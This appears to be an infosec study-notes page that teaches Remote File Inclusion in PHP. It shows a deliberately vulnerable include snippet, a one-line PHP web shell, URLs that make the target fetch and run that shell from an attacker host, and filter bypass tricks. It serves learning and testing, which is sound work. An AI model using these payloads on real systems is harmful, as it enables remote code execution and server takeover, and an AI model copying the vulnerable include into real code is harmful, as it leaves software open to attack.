> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/web-appsec/remote-file-inclusion.md).

# Remote File Inclusion

Remote File Inclusion is a vulnerability that allows an attacker to include and execute a file from an external server. If user input is used in an `include` or `require` statement without proper validation, attackers can supply a URL pointing to their malicious file.

***

### How to identify

* Check for input parameters being used in include functions
* Inject external URLs and observe execution or errors

  ```bash
  http://example.com/index.php?page=http://attacker.com/shell.php
  ```
* Test various protocols (http, ftp, data)
* Use your own HTTP server to host the payload and check for incoming requests

***

#### Vulnerable Example Code (PHP)

```php
<?php
include($_GET['page']);
?>
```

***

#### Exploitation Steps

* Start an HTTP server on your system (Python)

  ```bash
  python3 -m http.server 80
  ```
* Place a malicious PHP payload in a file (e.g., `shell.php`)

  ```php
  <?php system($_GET['cmd']); ?>
  ```
* Call the file from the web app

  ```bash
  http://victim.com/index.php?page=http://attacker-ip/shell.php
  ```

***

### Common Bypass Techniques

* If the file extension is forced or auto-appended:
  * Use null byte `%00` (in older PHP versions)
  * Or use filename tricking with `.php.html` if server renders HTML
* If only certain protocols are allowed (e.g., `http`), try:
  * `ftp://attacker.com/payload`
  * `data:text/plain;base64,...`
* RFI requires a **cross-server setup**:
  * If the web app is written in PHP, use a Python server to host the payload
  * If the web app is written in Python, use a PHP server for hosting the payload
  * The key is: the attacker server sends the code, and the target server executes it